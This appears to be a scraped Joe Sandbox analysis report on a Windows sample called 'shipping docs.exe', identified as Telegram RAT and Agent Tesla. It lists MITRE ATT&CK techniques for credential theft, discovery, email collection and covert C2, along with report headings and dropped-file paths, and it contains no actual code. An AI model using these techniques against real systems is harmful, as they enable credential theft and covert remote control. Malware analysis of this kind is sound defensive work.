Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report shipping docs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VMqTMMD.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\shipping docs.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yVGAJfiVEvtg.exe.log

C:\Users\user\AppData\Local\Temp\tmp3418.tmp

C:\Users\user\AppData\Local\Temp\tmp7934.tmp

C:\Users\user\AppData\Local\Temp\tmpF5B7.tmp

C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe

C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
shipping docs.exe

Function 04A465A9 Relevance: 38.5, Strings: 29, Instructions: 2296
COMMON

Function 04A465B8 Relevance: 38.5, Strings: 29, Instructions: 2292
COMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre